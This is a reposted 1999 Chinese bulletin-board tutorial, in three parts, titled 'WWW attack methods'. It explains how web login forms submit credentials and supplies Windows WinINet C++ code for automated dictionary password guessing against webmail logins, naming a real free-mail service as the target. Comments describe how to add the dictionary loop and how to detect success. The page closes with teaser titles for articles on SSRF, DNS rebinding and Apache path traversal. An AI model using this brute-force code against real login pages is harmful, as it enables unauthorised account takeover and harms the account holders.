WWW攻击法

简介:
这儿的WWW攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持WWW的免费邮件
如果你想用它来进入黄色站点
那也没办法 :)
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据HTML文件中FORM的定义
把这些信息发给服务器来验证
一般的办法是GET或POST
比如在263中
请看下面的263 HTML源代码
      
        用户名: @263.net 口令:   
如果点击"请进吧!",浏览器会向服务器发送一下请求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标 题: WWW攻击法(二)
发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信

微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";
//pServer是目标主机名
//cszPostData就是剩下的部分
//比如攻击263的免费邮箱,那么
//pServer="freemail.263.net"
//cszPostData="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
    // Open Internet session.
    HINTERNET hSession = ::InternetOpen("URLHacker",
                INTERNET_OPEN_TYPE_PRECONFIG,
                NULL,
                INTERNET_INVALID_PORT_NUMBER,
                0) ;
    // Connect to dest.
    HINTERNET hConnect = ::InternetConnect(hSession,
                pServer,
                INTERNET_INVALID_PORT_NUMBER,
                "",
                "",
                INTERNET_SERVICE_HTTP,
                0,
                0) ;
    // Request the file from the server.
    HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
                "GET",
                cszPostData,
                HTTP_VERSION,
                NULL,
                0,
                INTERNET_FLAG_DONT_CACHE,
                0) ;
    // Add request headers
    BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea
ders),HTTP_ADDREQ_FLAG_ADD);
    // Send the request.
    BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
    // Get the length of the file.
    char szBuffer[80] ;
    DWORD dwLen = sizeof(szBuffer);
    DWORD dwIndex;
    BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
                szBuffer, &dwLen, NULL);
    DWORD dwRet;
    if (bRet)
          dwRet = (DWORD) atol(szBuffer);
    if (dwRet == HTTP_STATUS_DENIED){
    //这是另外一种验证的办法,和系统的用户名、口令结合起来
    //InternetConnect中第3、4个参数就是用户名和口令
    //下面怎么做不用我说了吧
    }
    if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

          bRet = TRUE;
    else
    {
          // now that we know how long it is, ask for exactly that much
          // space and really request the header from the API
          LPTSTR pstr = new TCHAR[dwLen];
          bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,
&dwIndex);
          delete []pstr;
    }
    // were we redirected?
    // these response status codes come from WININET.H
    if (dwRet == HTTP_STATUS_MOVED ||
          dwRet == HTTP_STATUS_REDIRECT ||
          dwRet == HTTP_STATUS_REDIRECT_METHOD)
    {
    //被重定向到其它地址,需要重新连接到新的地址
    }
          
    // Convert length from ASCII string to a DWORD.
    // Allocate a buffer for the file.
    char* buffer = new char[dwLen+1] ;
    // Read the file into the buffer.
    DWORD dwBytesRead ;
    BOOL bRead = ::InternetReadFile(hHttpFile,
                    buffer,
                    dwLen+1,
                    &dwBytesRead);
    //可以在这儿根据读到的内容判断攻击是否成功
    //怎么?不会!
    //试一下手工猜口令,肯定给你一个出错的画面
    //如果读到的内容中不包括那些错误信息,就又可能成功了
    delete [] buffer;
    ::InternetCloseHandle(hHttpFile);
    ::InternetCloseHandle(hConnect) ;
    ::InternetCloseHandle(hSession) ;
}

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标 题: WWW攻击法(三)—注解
发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信

创建一个会话
HINTERNET hSession = ::InternetOpen(
        "URLHacker",//Agent名,随便取
        INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
        NULL,
        INTERNET_INVALID_PORT_NUMBER,
        0) ;
连接到服务器
HINTERNET hConnect = ::InternetConnect(
        hSession,
        pServer,//服务器名
        INTERNET_INVALID_PORT_NUMBER,
        "",//用户名
        "",//口令
        INTERNET_SERVICE_HTTP,//HTTP
        0,
        0);
向服务器发出请求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
        "GET",//可用GET或POST
          cszPostData,//对应于HTTP命令 GET cdzPostData
          HTTP_VERSION,
          NULL,
          0,
          INTERNET_FLAG_DONT_CACHE,
          0);
加一个请求头,自我炫耀一下,hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);

接下来,查询该请求返回的信息,然后读之。





















本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8543,如需转载请自行联系原作者


相关文章
|
3月前
|
域名解析 网络协议 搜索推荐
虚拟主机怎么定向到www
本文将对如何将虚拟主机定向到www进行详细阐述。全文将分为四个部分,分别是:域名解析、CNAME记录设置、.htaccess文件修改、301重定向概念及操作步骤。通过本文的阐述,相信大家能够更好的了解虚拟主机如何实现将www作为中心的指向。
|
11月前
|
安全 NoSQL 网络协议
Discuz-ssrf攻击redis getshell(Gopher协议)
不知不觉踏入安全已经有段时间了...这个过程的确很艰辛,很累,随着突发奇想的那一刻,决定了一直走下去,这期间几乎是没日没夜地去学习,忘记了时间,放弃了很多其他事情,学习之路真的不是那么简单,有时候甚至会很迷茫,不知该如何走下去了...
263 0
|
6月前
|
缓存 网络协议 分布式数据库
场景应用:我 ping www.yyl.plus 这个网址会用到哪些协议?
场景应用:我 ping www.yyl.plus 这个网址会用到哪些协议?
|
6月前
|
域名解析 缓存 网络协议
DNS Rebinding Attack 绕过SSRF限制
DNS Rebinding Attack 绕过SSRF限制
|
11月前
|
域名解析 缓存 安全
WEB常见漏洞之SSRF(靶场篇)
WEB常见漏洞之SSRF(靶场篇)
625 0
|
安全 Apache
CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞
影响版本 Apache 2.4.49 Apache 2.4.50 当前描述 发现Apache HTTP Server 2.4.50中对CVE-221-41773的修复不足。攻击者可以使用路径遍历攻击将URL映射到Alias类指令配置的目录之外的文件。如果这些目录之外的文件不受通常默认配置“要求全部拒绝”的保护,这些请求可能会成功。如果还为这些别名路径启用了CGI脚本,这可能允许远程代码执行。此问题仅影响Apache 2.4.49和Apache 2.4.50,而不影响早期版本。 环境搭建可以查看我的上一篇文章 https://developer.aliyun.com/article/11136
296 0
CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞
|
安全 PHP
PHP Everywhere 三个 RCE 漏洞威胁大量 WordPress 网站
PHP Everywhere 三个 RCE 漏洞威胁大量 WordPress 网站
170 0
|
Web App开发 监控 安全
Web服务器如何防CC攻击?
CC攻击是DDOS(分布式拒绝服务)的一种,相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到虚假IP,见不到特别大的异常流量,但造成服务器无法进行正常连接,听说一条ADSL足以搞掂一台高性能的Web服务器。
1460 1
|
网络协议
NTP方式对https的攻击手法介绍
目前https的普遍性越来越多,随之而来的攻击方式也新颖起来,本章详细介绍下NTP攻击方式。
251 0
NTP方式对https的攻击手法介绍
|
安全 应用服务中间件 Apache
网站漏洞检测 apache nginx解析绕过上传漏洞
在日常对客户网站进行渗透测试服务的时候,我们SINE安全经常遇到客户网站,app存在文件上传功能,程序员在设计开发代码的过程中都会对上传的文件类型,格式,后缀名做安全效验与过滤判断,SINE安全工程师在对文件上传漏洞进行测试的时候,往往发现的网站漏洞都是由于服务器的环境漏洞导致的,像IIS,apache,nginx环境,都存在着可以导致任意文件上传的漏洞。
6123 0